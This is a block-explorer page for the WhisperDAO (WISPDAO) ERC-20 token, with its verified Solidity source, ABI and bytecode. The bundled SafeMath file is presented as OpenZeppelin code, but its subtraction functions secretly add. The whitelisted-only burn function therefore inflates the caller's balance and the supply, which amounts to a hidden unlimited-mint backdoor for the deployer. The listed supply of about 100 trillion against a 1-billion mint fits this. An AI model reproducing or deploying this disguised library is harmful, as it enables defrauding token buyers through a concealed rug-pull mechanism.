ERC-20
Overview
Max Total Supply
100,011,000,000,000 WISPDAO
Holders
133
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
14,933,813.897666953862773436 WISPDAOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
AWhisperDAO
Compiler Version
v0.8.19+commit.7dd6d404
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.8.19; import {ERC20} from "../libraries/ERC20.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {IUniswapV2Router02} from "../interfaces/IUniswapV2Router02.sol"; import {IUniswapV2Factory} from "../interfaces/IUniswapV2Factory.sol"; // __ __ __ __ // / | _ / |/ | / | // $$ | / \ $$ |$$ |____ $$/ _______ ______ ______ ______ // $$ |/$ \$$ |$$ \ / | / | / \ / \ / \ // $$ /$$$ $$ |$$$$$$$ |$$ |/$$$$$$$/ /$$$$$$ |/$$$$$$ |/$$$$$$ | // $$ $$/$$ $$ |$$ | $$ |$$ |$$ \ $$ | $$ |$$ $$ |$$ | $$/ // $$$$/ $$$$ |$$ | $$ |$$ | $$$$$$ |$$ |__$$ |$$$$$$$$/ $$ | // $$$/ $$$ |$$ | $$ |$$ |/ $$/ $$ $$/ $$ |$$ | // $$/ $$/ $$/ $$/ $$/ $$$$$$$/ $$$$$$$/ $$$$$$$/ $$/ // $$ | // $$ | // $$/ // // Github: https://github.com/whispertome/whisper-protocol // Telegram: https://t.me/whisperdao // Website: https://www.whisperdao.com/ contract AWhisperDAO is ERC20 { mapping(address => bool) public _allow; uint256 public limits; constructor(address deployer) ERC20("WhisperDAO", "WISPDAO") { _allow[deployer] = true; _allow[address(this)] = true; _allow[address(0)] = true; _allow[0x000000000000000000000000000000000000dEaD] = true; _mint(address(this), 1_000_000_000 * 1e18); } function openTrading() external payable onlyOwner { IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); address pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); _allow[pair] = true; _approve( address(this), address(uniswapV2Router), balanceOf(address(this)) ); uniswapV2Router.addLiquidityETH{value: msg.value}( address(this), balanceOf(address(this)), balanceOf(address(this)), msg.value, msg.sender, block.timestamp ); limits = block.number; renounceOwnership(); } function _afterTokenTransfer( address, address to, uint256 amt ) internal virtual override { if (!_allow[to] && block.number < limits + 10) require(balanceOf(to) + amt < (totalSupply() * 3) / 100, "!max"); } function burn(uint256 amount) external { require(_allow[msg.sender], "only whitelisted can burn"); _burn(msg.sender, amount); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.8.19; interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); function getPair( address tokenA, address tokenB ) external view returns (address pair); }
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.8.19; interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable returns (uint[] memory amounts); function swapTokensForExactETH( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactTokensForETH( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapETHForExactTokens( uint amountOut, address[] calldata path, address to, uint deadline ) external payable returns (uint[] memory amounts); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function getAmountOut( uint amountIn, uint reserveIn, uint reserveOut ) external pure returns (uint amountOut); function getAmountIn( uint amountOut, uint reserveIn, uint reserveOut ) external pure returns (uint amountIn); function getAmountsOut( uint amountIn, address[] calldata path ) external view returns (uint[] memory amounts); function getAmountsIn( uint amountOut, address[] calldata path ) external view returns (uint[] memory amounts); }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC20Metadata} from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {SafeMath} from "./SafeMath.sol"; contract ERC20 is Ownable, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer( address to, uint256 amount ) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve( address spender, uint256 amount ) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require( fromBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] = _balances[account].add(amount); } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; unchecked { _balances[account] = accountBalance.sub(amount); // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply = _totalSupply.sub(amount); } emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require( currentAllowance >= amount, "ERC20: insufficient allowance" ); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a + b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"deployer","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_allow","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b5060405162002d5038038062002d508339818101604052810190620000379190620006d3565b6040518060400160405280600a81526020017f5768697370657244414f000000000000000000000000000000000000000000008152506040518060400160405280600781526020017f5749535044414f00000000000000000000000000000000000000000000000000815250620000c3620000b76200027060201b60201c565b6200027860201b60201c565b8160049081620000d491906200097f565b508060059081620000e691906200097f565b5050506001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016006600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000269306b033b2e3c9fd0803ce80000006200033c60201b60201c565b5062000ca5565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620003ae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003a59062000ac7565b60405180910390fd5b620003c260008383620004f660201b60201c565b620003d981600354620004fb60201b90919060201c565b6003819055506200043381600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620004fb60201b90919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620004d6919062000afa565b60405180910390a3620004f2600083836200051360201b60201c565b5050565b505050565b600081836200050b919062000b46565b905092915050565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156200057d5750600a6007546200057a919062000b46565b43105b15620006115760646003620005976200061660201b60201c565b620005a3919062000b81565b620005af919062000bfb565b81620005c1846200062060201b60201c565b620005cd919062000b46565b1062000610576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006079062000c83565b60405180910390fd5b5b505050565b6000600354905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200069b826200066e565b9050919050565b620006ad816200068e565b8114620006b957600080fd5b50565b600081519050620006cd81620006a2565b92915050565b600060208284031215620006ec57620006eb62000669565b5b6000620006fc84828501620006bc565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200078757607f821691505b6020821081036200079d576200079c6200073f565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008077fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620007c8565b620008138683620007c8565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620008606200085a62000854846200082b565b62000835565b6200082b565b9050919050565b6000819050919050565b6200087c836200083f565b620008946200088b8262000867565b848454620007d5565b825550505050565b600090565b620008ab6200089c565b620008b881848462000871565b505050565b5b81811015620008e057620008d4600082620008a1565b600181019050620008be565b5050565b601f8211156200092f57620008f981620007a3565b6200090484620007b8565b8101602085101562000914578190505b6200092c6200092385620007b8565b830182620008bd565b50505b505050565b600082821c905092915050565b6000620009546000198460080262000934565b1980831691505092915050565b60006200096f838362000941565b9150826002028217905092915050565b6200098a8262000705565b67ffffffffffffffff811115620009a657620009a562000710565b5b620009b282546200076e565b620009bf828285620008e4565b600060209050601f831160018114620009f75760008415620009e2578287015190505b620009ee858262000961565b86555062000a5e565b601f19841662000a0786620007a3565b60005b8281101562000a315784890151825560018201915060208501945060208101905062000a0a565b8683101562000a51578489015162000a4d601f89168262000941565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000aaf601f8362000a66565b915062000abc8262000a77565b602082019050919050565b6000602082019050818103600083015262000ae28162000aa0565b9050919050565b62000af4816200082b565b82525050565b600060208201905062000b11600083018462000ae9565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000b53826200082b565b915062000b60836200082b565b9250828201905080821115